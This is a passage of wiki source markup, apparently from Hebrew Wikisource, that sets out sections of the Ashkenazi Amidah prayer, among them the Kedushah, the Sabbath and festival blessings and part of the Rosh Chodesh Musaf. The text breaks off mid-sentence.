{{רקע אפור}}{{הור|כשאין נשיאת כפים, החזן אומר:}}{{ש}}&lt;קטע התחלה=אלהינו/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, בָּרְכֵנוּ בַבְּרָכָה הַמְשֻׁלֶּשֶׁת בַּתּוֹרָה הַכְּתוּבָה עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, הָאֲמוּרָה מִפִּי אַהֲרֹן וּבָנָיו כֹּהֲנִים עַם קְדוֹשֶׁךָ כָּאָמוּר: &lt;קטע סוף=אלהינו/&gt;{{סוף}}
&lt;קטע התחלה=יברכך/&gt;יְבָרֶכְךָ יְיָ וְיִשְׁמְרֶךָ׃ יָאֵר יְיָ פָּנָיו אֵלֶיךָ וִיחֻנֶּךָּ׃ יִשָּׂא יְיָ פָּנָיו אֵלֶיךָ וְיָשֵׂם לְךָ שָׁלוֹם׃{{ממס|במדבר ו/טעמים#ו כד|במדבר ו כד-כו}} &lt;קטע סוף=יברכך/&gt;

&lt;קטע התחלה=אדיר/&gt;אַדִּיר בַּמָּרוֹם שׁוֹכֵן בִּגְבוּרָה, אַתָּה שָׁלוֹם וְשִׁמְךָ שָׁלוֹם. יְהִי רָצוֹן שֶׁתָּשִׂים עָלֵינוּ וְעַל כָּל עַמְּךָ בֵּית יִשְׂרָאֵל, חַיִּים וּבְרָכָה לְמִשְׁמֶרֶת שָׁלוֹם. &lt;קטע סוף=אדיר/&gt;{{סוף}}&lt;קטע התחלה=יט כ/&gt;

===שלום===
&lt;קטע סוף=יט כ/&gt;{{הור|&lt;noinclude&gt;בשחרית ו&lt;/noinclude&gt;במנחה של תענית ציבור&lt;noinclude&gt; (ויש נוהגים אף במנחה של שבת)&lt;/noinclude&gt;:}} &lt;קטע התחלה=יט שים/&gt;שִׂים שָׁלוֹם טוֹבָה וּבְרָכָה, חֵן וָחֶסֶד וְרַחֲמִים, עָלֵינוּ וְעַל כָּל יִשְׂרָאֵל עַמֶּךָ. בָּרְכֵנוּ אָבִינוּ כֻּלָּנוּ כְּאֶחָד בְּאוֹר פָּנֶיךָ, כִּי בְאוֹר פָּנֶיךָ נָתַתָּ לָּנוּ יְיָ אֱלֹהֵינוּ תּוֹרַת חַיִּים וְאַהֲבַת חֶסֶד, וּצְדָקָה וּבְרָכָה וְרַחֲמִים וְחַיִּים וְשָׁלוֹם. &lt;קטע סוף=יט שים/&gt;

{{הור|במנחה ובערבית:}} &lt;קטע התחלה=יט שלום רב/&gt;שָׁלוֹם רָב עַל יִשְׂרָאֵל עַמְּךָ תָּשִׂים לְעוֹלָם, כִּי אַתָּה הוּא מֶלֶךְ אָדוֹן לְכָל הַשָּׁלוֹם. &lt;קטע סוף=יט שלום רב/&gt;

&lt;קטע התחלה=יט וטוב/&gt;וְטוֹב בְּעֵינֶיךָ לְבָרֵךְ אֶת עַמְּךָ יִשְׂרָאֵל בְּכָל עֵת וּבְכָל שָׁעָה בִּשְׁלוֹמֶךָ. &lt;קטע סוף=יט וטוב/&gt;
{{רקע אפור}}{{הור|בעשרת ימי תשובה:}}{{ש}}&lt;קטע התחלה=בספר חיים/&gt;בְּסֵפֶר חַיִּים, בְּרָכָה וְשָׁלוֹם וּפַרְנָסָה טוֹבָה, נִזָּכֵר וְנִכָּתֵב לְפָנֶיךָ אֲנַחְנוּ וְכָל עַמְּךָ בֵּית יִשְׂרָאֵל, לְחַיִּים טוֹבִים וּלְשָׁלוֹם. {{ק|[{{הור1|יש מסיימים|בָּרוּךְ אַתָּה יְיָ עוֹשֶׂה הַשָּׁלוֹם.}}]}} &lt;קטע סוף=בספר חיים/&gt;{{סוף}}
&lt;קטע התחלה=יט ת/&gt;בָּרוּךְ אַתָּה יְיָ, הַמְבָרֵךְ אֶת עַמּוֹ יִשְׂרָאֵל בַּשָּׁלוֹם.&lt;קטע סוף=יט ת/&gt;&lt;קטע התחלה=אלהי כ/&gt;

===אלוהי נצור===
&lt;קטע סוף=אלהי כ/&gt;[{{הור|יש שאומרים כאן:}} יִהְיוּ לְרָצוֹן אִמְרֵי פִי וְהֶגְיוֹן לִבִּי לְפָנֶיךָ, יְיָ צוּרִי וְגֹאֲלִי׃]

&lt;קטע התחלה=אלהי א/&gt;אֱלֹהַי, נְצֹר לְשׁוֹנִי מֵרָע, וּשְׂפָתַי מִדַּבֵּר מִרְמָה, וְלִמְקַלְלַי נַפְשִׁי תִדֹּם, וְנַפְשִׁי כֶּעָפָר לַכֹּל תִּהְיֶה. פְּתַח לִבִּי בְּתוֹרָתֶךָ, וּבְמִצְוֹתֶיךָ תִּרְדֹּף נַפְשִׁי. וְכֹל הַחוֹשְׁבִים עָלַי רָעָה, מְהֵרָה הָפֵר עֲצָתָם וְקַלְקֵל מַחֲשַׁבְתָּם.

עֲשֵׂה לְמַעַן שְׁמֶךָ, עֲשֵׂה לְמַעַן יְמִינֶךָ, עֲשֵׂה לְמַעַן קְדֻשָּׁתֶךָ, עֲשֵׂה לְמַעַן תּוֹרָתֶךָ.{{ש}}
לְמַעַן יֵחָלְצוּן יְדִידֶיךָ, הוֹשִׁיעָה יְמִינְךָ וַעֲנֵנִי׃{{ממס|תהלים קח ז}}&lt;קטע סוף=אלהי א/&gt;
{{רקע אפור}}&lt;קטע התחלה=תענית יחיד/&gt;{{הור|הרוצה לקבל עליו תענית, אומר במנחה ביום הקודם:}}{{ש}}רִבּוֹן הָעוֹלָמִים, הֲרֵי אֲנִי לְפָנֶיךָ בְּתַעֲנִית יָחִיד לְמָחָר. יְהִי רָצוֹן מִלְּפָנֶיךָ יְיָ אֶלֹהַי וֵאלֹהֵי אֲבוֹתַי שֶׁתְּקַבְּלֵנִי בְּאַהֲבָה וּבְרָצוֹן, וְתָבֹא לְפָנֶיךָ תְּפִלָּתִי, וְתַעֲנֶה עֲתִירָתִי בְּרַחֲמֶיךָ הָרַבִּים. כִּי אַתָּה שׁוֹמֵעַ תְּפִלַּת כָּל פֶּה.

{{הור|ובמנחה של יום התענית אומר:}}{{ש}}
רִבּון כָּל הָעוֹלָמִים, גָּלוּי וְיָדוּעַ לְפָנֶיךָ, בִּזְמַן שֶׁבֵּית הַמִּקְדָּשׁ קַיָּם, אָדָם חוֹטֵא וּמֵבִיא קָרְבָּן, וְאֵין מַקְרִיבִין מִמֶּנּוּ אֶלָּא חֶלְבּוֹ וְדָמוֹ, וְאַתָּה בְּרַחֲמֶיךָ הָרַבִּים מְכַפֵּר. וְעַכְשָׁו יָשַׁבְתִּי בְּתַעֲנִית, וְנִתְמַעֵט חֶלְבִּי וְדָמִי. יְהִי רָצון מִלְּפָנֶיךָ שֶׁיְּהֵא מִעוּט חֶלְבִּי וְדָמִי שֶׁנִּתְמַעֵט הַיּוֹם כְּאִלּוּ הִקְרַבְתִּיו לְפָנֶיךָ עַל גַּב הַמִּזְבֵּחַ, וְתִרְצֵנִי.&lt;קטע סוף=תענית יחיד/&gt;{{סוף}}
&lt;קטע התחלה=יהיו לרצון/&gt;{{הור|יש האומרים כאן [[פסוק המתחיל ומסתיים באות|פסוק]] המתחיל ומסתיים באותיות שבהן מתחיל ומסתיים השם הפרטי (פסוק לכל שם שיש לו).}}

יִהְיוּ לְרָצוֹן אִמְרֵי פִי וְהֶגְיוֹן לִבִּי לְפָנֶיךָ, יְיָ צוּרִי וְגֹאֲלִי׃{{ממס|תהלים יט טו}}

עֹשֶׂה &lt;קטע סוף=יהיו לרצון/&gt;שָׁלוֹם {{הור1|בעשי&quot;ת|הַשָּׁלוֹם}} &lt;קטע התחלה=במרומיו/&gt;בִּמְרוֹמָיו, הוּא יַעֲשֶׂה שָׁלוֹם עָלֵינוּ וְעַל כָּל יִשְׂרָאֵל, וְאִמְרוּ אָמֵן.

יְהִי רָצוֹן מִלְּפָנֶיךָ, יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, שֶׁיִּבָּנֶה בֵּית הַמִּקְדָּשׁ בִּמְהֵרָה בְיָמֵינוּ וְתֵן חֶלְקֵנוּ בְּתוֹרָתֶךָ. וְשָׁם נַעֲבָדְךָ בְּיִרְאָה כִּימֵי עוֹלָם וּכְשָׁנִים קַדְמֹנִיֹּת.
{{ש}}
וְעָרְבָה לַייָ מִנְחַת יְהוּדָה וִירוּשָׁלָ͏יִם, כִּימֵי עוֹלָם וּכְשָׁנִים קַדְמֹנִיֹּת׃{{ממס|מלאכי ג ד}}&lt;קטע סוף=במרומיו/&gt;

==קדושה לשבת ויום טוב==
===פיוטים===
{{הור|להלן קטעים קבועים שמוסיפים בפיוטים שלפני קדושה.}}
;א
&lt;קטע התחלה=ואתה/&gt;'''יִמְלֹךְ יְיָ לְעוֹלָם, אֱלֹהַיִךְ צִיּוֹן לְדֹר וָדֹר, הַלְלוּיָהּ׃'''{{ממס|תהלים קמו י}}{{ש}}
'''וְאַתָּה קָדוֹשׁ, יוֹשֵׁב תְּהִלּוֹת יִשְׂרָאֵל׃'''{{ממס|תהלים כב ד}}{{ש}}'''אֵל נָא,'''&lt;קטע סוף=ואתה/&gt;
;ב
&lt;קטע התחלה=חי וקיים/&gt;'''חַי וְקַיָּם, נוֹרָא וּמָרוֹם וְקָדוֹשׁ.'''&lt;קטע סוף=חי וקיים/&gt;
;ג
&lt;קטע התחלה=אל נא/&gt;אֵל נָא לְעוֹלָם תָּעֳרָץ וּלְעוֹלָם תֻּקְדָּשׁ וּלְעוֹלְמֵי עוֹלָמִים תִּמְלֹךְ וְתִתְנַשֵּׂא{{ש}}
הָאֵל מֶלֶךְ נוֹרָא מָרוֹם וְקָדוֹשׁ כִּי אַתָּה הוּא מֶלֶךְ מַלְכֵי הַמְּלָכִים.{{ש}}
{{סי|מַ}}לְכוּתוֹ {{סי|נֶ}}צַח. {{סי|נ}}וֹרְאוֹתָיו {{סי|שִׂ}}יחוּ. {{סי|סַ}}פְּרוּ {{סי|עֻ}}זּוֹ. {{סי|פָּ}}אֲרוּהוּ {{סי|צְ}}בָאָיו.
{{סי|קַ}}דְּשׁוּהוּ {{סי|ר}}וֹמְמוּהוּ. {{סי|רֹ}}ן {{סי|שִׁ}}יר וָ{{סי|שֶׁ}}בַח. {{סי|תֹּ}}קֶף {{סי|תְּ}}הִלוֹת {{סי|תִּ}}פְאַרְתּוֹ.&lt;קטע סוף=אל נא/&gt;
;ד
{{הור|בשבת וחג:}}{{ש}}
&lt;קטע התחלה=ובכן1/&gt;'''וּבְכֵן''' &lt;small&gt;וּ&lt;/small&gt;'''לְךָ תַעֲלֶה קְדֻשָּׁה כִּי אַתָּה קְדוֹשׁ יִשְׂרָאֵל וּמוֹשִׁיעַ.'''&lt;קטע סוף=ובכן1/&gt;

{{הור|בראש השנה:}}{{ש}}
&lt;קטע התחלה=ובכן2/&gt;'''וּבְכֵן''' &lt;small&gt;וּ&lt;/small&gt;'''לְךָ תַעֲלֶה קְדֻשָּׁה כִּי אַתָּה אֱלֹהֵינוּ מֶלֶךְ.'''&lt;קטע סוף=ובכן2/&gt;

{{הור|ביום כיפור:}}{{ש}}
&lt;קטע התחלה=ובכן3/&gt;'''וּבְכֵן''' &lt;small&gt;וּ&lt;/small&gt;'''לְךָ תַעֲלֶה קְדֻשָּׁה כִּי אַתָּה אֱלֹהֵינוּ מֶלֶךְ מוֹחֵל וְסוֹלֵחַ.'''&lt;קטע סוף=ובכן3/&gt;

===שחרית===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|נקדש|קדוש}}&lt;/noinclude&gt;
&lt;קטע התחלה=אז/&gt;אָז בְּקוֹל רַעַשׁ גָּדוֹל אַדִּיר וְחָזָק מַשְׁמִיעִים קוֹל, מִתְנַשְּׂאִים לְעֻמַּת שְׂרָפִים. &lt;קטע סוף=אז/&gt;&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|לעומתם|ברוך}}&lt;/noinclude&gt;
&lt;קטע התחלה=ממקומך/&gt;מִמְּקוֹמְךָ מַלְכֵּנוּ תוֹפִיעַ וְתִמְלֹךְ עָלֵינוּ כִּי מְחַכִּים אֲנַחְנוּ לָךְ. מָתַי תִּמְלֹךְ בְּצִיּוֹן, בְּקָרוֹב בְּיָמֵינוּ לְעוֹלָם וָעֶד תִּשְׁכֹּן. תִּתְגַּדַּל וְתִתְקַדַּשׁ בְּתוֹךְ יְרוּשָׁלַיִם עִירְךָ לְדֹר וָדֹר וּלְנֵצַח נְצָחִים. וְעֵינֵינוּ תִרְאֶינָה מַלְכוּתֶךָ, כַּדָּבָר הָאָמוּר בְּשִׁירֵי עֻזֶּךָ עַל יְדֵי דָוִד מְשִׁיחַ צִדְקֶךָ:{{ש}}&lt;קטע סוף=ממקומך/&gt;
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ימלוך}}&lt;/noinclude&gt;
===מוסף===
&lt;קטע התחלה=נעריצך/&gt;נַעֲרִיצְךָ וְנַקְדִישְׁךָ כְּסוֹד שִׂיחַ שַׂרְפֵי קֹדֶשׁ הַמַּקְדִּישִׁים שִׁמְךָ בַּקֹּדֶשׁ, &lt;קטע סוף=נעריצך/&gt;&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ככתוב|קדוש}}&lt;/noinclude&gt;
&lt;קטע התחלה=כבודו/&gt;כְּבוֹדוֹ מָלֵא עוֹלָם, מְשָׁרְתָיו שׁוֹאֲלִים זֶה לָזֶה אַיֵּה מְקוֹם כְּבוֹדוֹ. &lt;קטע סוף=כבודו/&gt;&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|לעומתם}} {{#קטע:סידור/נוסח אשכנז/עמידה|ברוך}}&lt;/noinclude&gt;
&lt;קטע התחלה=ממקומו/&gt;מִמְּקוֹמוֹ הוּא יִפֶן בְּרַחֲמִים וְיָחֹן עַם הַמְיַחֲדִים שְׁמוֹ, עֶרֶב וָבֹקֶר בְּכָל יוֹם תָּמִיד פַּעֲמַיִם בְּאַהֲבָה שְׁמַע אוֹמְרִים – {{ש}}&lt;קטע סוף=ממקומו/&gt;
&lt;קטע התחלה=שמע/&gt;'''שְׁמַע יִשְׂרָאֵל, יְיָ אֱלֹהֵינוּ יְיָ אֶחָד׃'''{{ממס|דברים ו ד}}{{ש}}&lt;קטע סוף=שמע/&gt;
&lt;קטע התחלה=הוא אלהינו/&gt;{{נוסחי אשכנז|נוסח={{{נוסח|}}}|מערבי=אֶחָד}} הוּא אֱלֹהֵינוּ, הוּא אָבִינוּ, הוּא מַלְכֵּנוּ, הוּא מוֹשִׁיעֵנוּ, וְהוּא יַשְׁמִיעֵנוּ בְּרַחֲמָיו שֵׁנִית לְעֵינֵי כָל חָי: לִהְיוֹת לָכֶם לֵאלֹהִים, '''אֲנִי יְיָ אֱלֹהֵיכֶם'''׃{{ממס|במדבר טו מא}}{{ש}}&lt;קטע סוף=הוא אלהינו/&gt;&lt;noinclude&gt;
{{רקע אפור}}{{הור|ביום טוב, בר&quot;ה וביו&quot;כ:}}{{ש}}&lt;/noinclude&gt;&lt;קטע התחלה=אדיר-אדירנו/&gt;אַדִּיר אַדִּירֵנוּ, יְיָ אֲדֹנֵינוּ, מָה אַדִּיר שִׁמְךָ בְּכָל הָאָרֶץ. וְהָיָה יְיָ לְמֶלֶךְ עַל כׇּל הָאָרֶץ, בַּיּוֹם הַהוּא יִהְיֶה יְיָ אֶחָד וּשְׁמוֹ אֶחָד׃{{ממס|זכריה יד ט}}{{ש}}&lt;קטע סוף=אדיר-אדירנו/&gt;{{סוף}}&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ובדברי|ימלוך}}&lt;/noinclude&gt;

==ברכה שלישית לראש השנה ויום כיפור==
&lt;noinclude&gt;
{|
|-
|{{#קטע:סידור/נוסח אשכנז/עמידה|ג א}}|| ||{{רקע אפור|צבע=#D9E2F3}}{{#קטע:סידור/נוסח אשכנז/עמידה|לדור}}{{סוף}}
|}&lt;/noinclude&gt;

&lt;קטע התחלה=ובכן/&gt;וּבְכֵן תֵּן פַּחְדְּךָ יְיָ אֱלֹהֵינוּ עַל כָּל מַעֲשֶׂיךָ, וְאֵימָתְךָ עַל כָּל מַה שֶּׁבָּרָאתָ, וְיִירָאוּךָ כָּל הַמַּעֲשִׂים, וְיִשְׁתַּחֲווּ לְפָנֶיךָ כָּל הַבְּרוּאִים, וְיֵעָשׂוּ כֻלָּם אֲגֻדָּה אֶחָת לַעֲשׂוֹת רְצוֹנְךָ בְּלֵבָב שָׁלֵם. כְּמוֹ שֶׁיָּדַעְנוּ יְיָ אֱלֹהֵינוּ שֶׁהַשָּׁלְטָן {{נוא|הוראה=נוסח ישן:|שֶׁהַשִּׁלְטוֹן}} לְפָנֶיךָ, עֹז בְּיָדְךָ וּגְבוּרָה בִּימִינֶךָ, וְשִׁמְךָ נוֹרָא עַל כָּל מַה שֶּׁבָּרָאתָ.

וּבְכֵן תֵּן כָּבוֹד יְיָ לְעַמֶּךָ, תְּהִלָּה לִירֵאֶיךָ, וְתִקְוָה טוֹבָה לְדֹרְשֶׁיךָ, וּפִתְחוֹן פֶּה לַמְיַחֲלִים לָךְ, שִׂמְחָה לְאַרְצֶךָ וְשָׂשׂוֹן לְעִירֶךָ, וּצְמִיחַת קֶרֶן לְדָוִד עַבְדֶּךָ, וַעֲרִיכַת נֵר לְבֶן יִשַׁי מְשִׁיחֶךָ, בִּמְהֵרָה בְיָמֵינוּ.

וּבְכֵן {{נוא|הוראה=נוסח ישן:|וְאָז}} צַדִּיקִים יִרְאוּ וְיִשְׂמָחוּ, וִישָׁרִים יַעֲלֹזוּ, וַחֲסִידִים בְּרִנָּה יָגִילוּ, וְעוֹלָתָה תִּקְפָּץ פִּיהָ, וְכָל הָרִשְׁעָה כֻלָּהּ כֶּעָשָׁן תִּכְלֶה, כִּי תַעֲבִיר מֶמְשֶׁלֶת זָדוֹן מִן הָאָרֶץ. &lt;קטע סוף=ובכן/&gt;

&lt;קטע התחלה=ותמלוך/&gt;וְתִמְלֹךְ אַתָּה יְיָ לְבַדֶּךָ עַל כָּל מַעֲשֶׂיךָ, בְּהַר צִיּוֹן מִשְׁכַּן כְּבוֹדֶךָ וּבִירוּשָׁלַיִם עִיר קָדְשֶׁךָ, כַּכָּתוּב בְּדִבְרֵי קָדְשֶׁךָ: יִמְלֹךְ יְיָ לְעוֹלָם, אֱלֹהַיִךְ צִיּוֹן לְדֹר וָדֹר, הַלְלוּיָהּ׃{{ממס|תהלים קמו י}}

קָדוֹשׁ אַתָּה וְנוֹרָא שְׁמֶךָ, וְאֵין אֱלוֹהַּ מִבַּלְעָדֶיךָ, כַּכָּתוּב: וַיִּגְבַּהּ יְיָ צְבָאוֹת בַּמִּשְׁפָּט, וְהָאֵל הַקָּדוֹשׁ נִקְדָּשׁ בִּצְדָקָה׃{{ממס|ישעיהו ה טז}} בָּרוּךְ אַתָּה יְיָ, הַמֶּלֶךְ הַקָּדוֹשׁ. &lt;קטע סוף=ותמלוך/&gt;
==קדושת היום==
===ערבית לשבת===
&lt;קטע התחלה=אתה קדשת/&gt;אַתָּה קִדַּשְׁתָּ אֶת יוֹם הַשְּׁבִיעִי לִשְׁמֶךָ, תַּכְלִית מַעֲשֵׂה שָׁמַיִם וָאָרֶץ. וּבֵרַכְתּוֹ מִכָּל הַיָּמִים, וְקִדַּשְׁתּוֹ מִכָּל הַזְּמַנִּים, וְכֵן כָּתוּב בְּתוֹרָתֶךָ:

וַיְכֻלּוּ הַשָּׁמַיִם וְהָאָרֶץ וְכָל צְבָאָם׃ וַיְכַל אֱלֹהִים בַּיּוֹם הַשְּׁבִיעִי מְלַאכְתּוֹ אֲשֶׁר עָשָׂה, וַיִּשְׁבֹּת בַּיּוֹם הַשְּׁבִיעִי מִכָּל מְלַאכְתּוֹ אֲשֶׁר עָשָׂה׃ וַיְבָרֶךְ אֱלֹהִים אֶת יוֹם הַשְּׁבִיעִי וַיְקַדֵּשׁ אֹתוֹ, כִּי בוֹ שָׁבַת מִכָּל מְלַאכְתּוֹ אֲשֶׁר בָּרָא אֱלֹהִים לַעֲשׂוֹת׃{{ממס|בראשית ב|בראשית ב ב-ג}}&lt;קטע סוף=אתה קדשת/&gt;

&lt;קטע התחלה=רצה א/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, רְצֵה בִמְנוּחָתֵנוּ, קַדְּשֵׁנוּ בְּמִצְוֹתֶיךָ וְתֵן חֶלְקֵנוּ בְּתוֹרָתֶךָ, שַׂבְּעֵנוּ מִטּוּבֶךָ וְשַׂמְּחֵנוּ בִּישׁוּעָתֶךָ, וְטַהֵר לִבֵּנוּ לְעָבְדְּךָ בֶּאֱמֶת. וְהַנְחִילֵנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה וּבְרָצוֹן שַׁבַּת קָדְשֶׁךָ, וְיָנוּחוּ &lt;קטע סוף=רצה א/&gt;בָהּ &lt;קטע התחלה=רצה ת/&gt;יִשְׂרָאֵל מְקַדְּשֵׁי שְׁמֶךָ. בָּרוּךְ אַתָּה יְיָ מְקַדֵּשׁ הַשַּׁבָּת. &lt;קטע סוף=רצה ת/&gt;
===שחרית לשבת===
&lt;קטע התחלה=ישמח משה/&gt;יִשְׂמַח מֹשֶׁה בְּמַתְּנַת חֶלְקוֹ, כִּי עֶבֶד נֶאֱמָן קָרָאתָ לּוֹ. כְּלִיל תִּפְאֶרֶת בְּרֹאשׁוֹ נָתַתָּ לּוֹ, בְּעָמְדוֹ לְפָנֶיךָ עַל הַר סִינַי. וּשְׁנֵי לֻחוֹת אֲבָנִים הוֹרִיד בְּיָדוֹ, וְכָתוּב בָּהֶם שְׁמִירַת שַׁבָּת. וְכֵן כָּתוּב בְּתוֹרָתֶךָ:

וְשָׁמְרוּ בְנֵי יִשְׂרָאֵל אֶת הַשַּׁבָּת, לַעֲשׂוֹת אֶת הַשַּׁבָּת לְדֹרֹתָם בְּרִית עוֹלָם׃ בֵּינִי וּבֵין בְּנֵי יִשְׂרָאֵל אוֹת הִוא לְעֹלָם, כִּי שֵׁשֶׁת יָמִים עָשָׂה יְיָ אֶת הַשָּׁמַיִם וְאֶת הָאָרֶץ, וּבַיּוֹם הַשְּׁבִיעִי שָׁבַת וַיִּנָּפַשׁ׃{{ממס|שמות לא#לא טו|שמות לא טו-טז}}

וְלֹא נְתַתּוֹ יְיָ אֱלֹהֵינוּ לְגוֹיֵי הָאֲרָצוֹת, וְלֹא הִנְחַלְתּוֹ מַלְכֵּנוּ לְעוֹבְדֵי פְסִילִים, וְגַם בִּמְנוּחָתוֹ לֹא יִשְׁכְּנוּ עֲרֵלִים. כִּי לְיִשְׂרָאֵל עַמְּךָ נְתַתּוֹ בְּאַהֲבָה, לְזֶרַע יַעֲקֹב אֲשֶׁר בָּם בָּחָרְתָּ. עַם מְקַדְּשֵׁי שְׁבִיעִי, כֻּלָּם יִשְׂבְּעוּ וְיִתְעַנְּגוּ מִטּוּבֶךָ. וּבַשְּׁבִיעִי רָצִיתָ בּוֹ וְקִדַּשְׁתּוֹ, חֶמְדַת יָמִים אוֹתוֹ קָרָאתָ, זֵכֶר לְמַעֲשֵׂה בְרֵאשִׁית. &lt;קטע סוף=ישמח משה/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|רצה א}} בוֹ {{#קטע:סידור/נוסח אשכנז/עמידה|רצה ת}}&lt;/noinclude&gt;
===מנחה לשבת===
&lt;קטע התחלה=אתה אחד/&gt;אַתָּה אֶחָד וְשִׁמְךָ אֶחָד, וּמִי כְּעַמְּךָ יִשְׂרָאֵל גּוֹי אֶחָד בָּאָרֶץ. תִּפְאֶרֶת גְּדֻלָּה וַעֲטֶרֶת יְשׁוּעָה, יוֹם מְנוּחָה וּקְדֻשָּׁה לְעַמְּךָ נָתָתָּ. אַבְרָהָם יָגֵל, יִצְחָק יְרַנֵּן, יַעֲקֹב וּבָנָיו יָנוּחוּ בוֹ. מְנוּחַת אַהֲבָה וּנְדָבָה, מְנוּחַת אֱמֶת וֶאֱמוּנָה, מְנוּחַת שָׁלוֹם וְשַׁלְוָה וְהַשְׁקֵט וָבֶטַח, מְנוּחָה שְׁלֵמָה שָׁאַתָּה רוֹצֶה בָּהּ. יַכִּירוּ בָנֶיךָ וְיֵדְעוּ כִּי מֵאִתְּךָ הִיא מְנוּחָתָם, וְעַל מְנוּחָתָם יַקְדִּישׁוּ אֶת שְׁמֶךָ. &lt;קטע סוף=אתה אחד/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|רצה א}} בָם {{#קטע:סידור/נוסח אשכנז/עמידה|רצה ת}}&lt;/noinclude&gt;
===מוסף לשבת===
&lt;קטע התחלה=תכנת/&gt;{{סי|תִּ}}כַּנְתָּ {{סי|שַׁ}}בָּת, {{סי|רָ}}צִיתָ {{סי|קָ}}רְבְּנוֹתֶיהָ, {{סי|צִ}}וִּיתָ {{סי|פֵּ}}רוּשֶׁיהָ {{סי|עִ}}ם {{סי|סִ}}דּוּרֵי {{סי|נְ}}סָכֶיהָ. {{סי|מְ}}עַנְּגֶיהָ {{סי|לְ}}עוֹלָם {{סי|כָּ}}בוֹד {{סי|יִ}}נְחָלוּ, {{סי|טֹ}}עֲמֶיהָ {{סי|חַ}}יִּים {{סי|זָ}}כוּ, {{סי|וְ}}גַם {{סי|הָ}}אֹהֲבִים {{סי|דְּ}}בָרֶיהָ {{סי|גְּ}}דֻלָּה {{סי|בָּ}}חָרוּ. {{סי|אָ}}ז מִסִּינַי נִצְטַוּוּ עָלֶיהָ, וַתְּצַוֵּנוּ יְיָ אֱלֹהֵינוּ לְהַקְרִיב בָּהּ קָרְבַּן מוּסַף שַׁבָּת כָּרָאוּי. יְהִי רָצוֹן מִלְּפָנֶיךָ, יְיָ אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, שֶׁתַּעֲלֵנוּ בְשִׂמְחָה לְאַרְצֵנוּ, וְתִטָּעֵנוּ בִּגְבוּלֵנוּ, וְשָׁם נַעֲשֶׂה לְפָנֶיךָ אֶת קָרְבְּנוֹת חוֹבוֹתֵינוּ, תְּמִידִים כְּסִדְרָם וּמוּסָפִים כְּהִלְכָתָם. וְאֶת מוּסַף יוֹם הַשַּׁבָּת הַזֶּה, נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר: &lt;קטע סוף=תכנת/&gt;

&lt;קטע התחלה=וביום השבת/&gt;וּבְיוֹם הַשַּׁבָּת, שְׁנֵי כְבָשִׂים בְּנֵי שָׁנָה תְּמִימִם, וּשְׁנֵי עֶשְׂרֹנִים סֹלֶת מִנְחָה בְּלוּלָה בַשֶּׁמֶן, וְנִסְכּוֹ׃ עֹלַת שַׁבַּת בְּשַׁבַּתּוֹ, עַל עֹלַת הַתָּמִיד וְנִסְכָּהּ׃{{ממס|במדבר כח#כח ט|במדבר כח ט-י}} &lt;קטע סוף=וביום השבת/&gt;

&lt;קטע התחלה=ישמחו/&gt;יִשְׂמְחוּ בְמַלְכוּתְךָ שֹׁמְרֵי שַׁבָּת וְקֹרְאֵי עֹנֶג, עַם מְקַדְּשֵׁי שְׁבִיעִי, כֻּלָּם יִשְׂבְּעוּ וְיִתְעַנְּגוּ מִטּוּבֶךָ, וּבַשְּׁבִיעִי רָצִיתָ בּוֹ וְקִדַּשְׁתּוֹ, חֶמְדַּת יָמִים אוֹתוֹ קָרָאתָ, זֵכֶר לְמַעֲשֵׂה בְרֵאשִׁית. &lt;קטע סוף=ישמחו/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|רצה א}} בוֹ {{#קטע:סידור/נוסח אשכנז/עמידה|רצה ת}}&lt;/noinclude&gt;

===מוסף ראש חודש===
&lt;קטע התחלה=ראשי חדשים/&gt;רָאשֵׁי חֳדָשִׁים לְעַמְּךָ נָתָתָּ, זְמַן כַּפָּרָה לְכָל תּוֹלְדוֹתָם. בִּהְיוֹתָם מַקְרִיבִים לְפָנֶיךָ זִבְחֵי רָצוֹן וּשְׂעִירֵי חַטָּאת לְכַפֵּר בַּעֲדָם. זִכָּרוֹן לְכֻלָּם יִהְיוּ, וּתְשׁוּעַת נַפְשָׁם מִיַּד שׂוֹנֵא. מִזְבֵּחַ חָדָשׁ בְּצִיּוֹן תָּכִין, וְעוֹלַת רֹאשׁ חֹדֶשׁ נַעֲלֶה עָלָיו, וּשְׂעִירֵי עִזִּים נַעֲשֶׂה בְרָצוֹן, וּבַעֲבוֹדַת בֵּית הַמִּקְדָּשׁ נִשְׂמַח כֻּלָּנוּ, וּבְשִׁירֵי דָּוִד עַבְדְּךָ הַנִּשְׁמָעִים בְּעִירֶךָ, הָאֲמוּרִים לִפְנֵי מִזְבְּחֶךָ. אַהֲבַת עוֹלָם תָּבִיא לָהֶם, וּבְרִית אָבוֹת לַבָּנִים תִּזְכֹּר. וַהֲבִיאֵנוּ לְצִיּוֹן עִירְךָ בְּרִנָּה, וְלִירוּשָׁלַיִם בֵּית מִקְדָּשְׁךָ בְּשִׂמְחַת עוֹלָם, וְשָׁם נַעֲשֶׂה לְפָנֶיךָ אֶת קָרְבְּנוֹת חוֹבוֹתֵינוּ, תְּמִידִים כְּסִדְרָם וּמוּסָפִים כְּהִלְכָתָם. וְאֶת מוּסַף יוֹם רֹאשׁ הַחֹדֶשׁ הַזֶּה, נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה 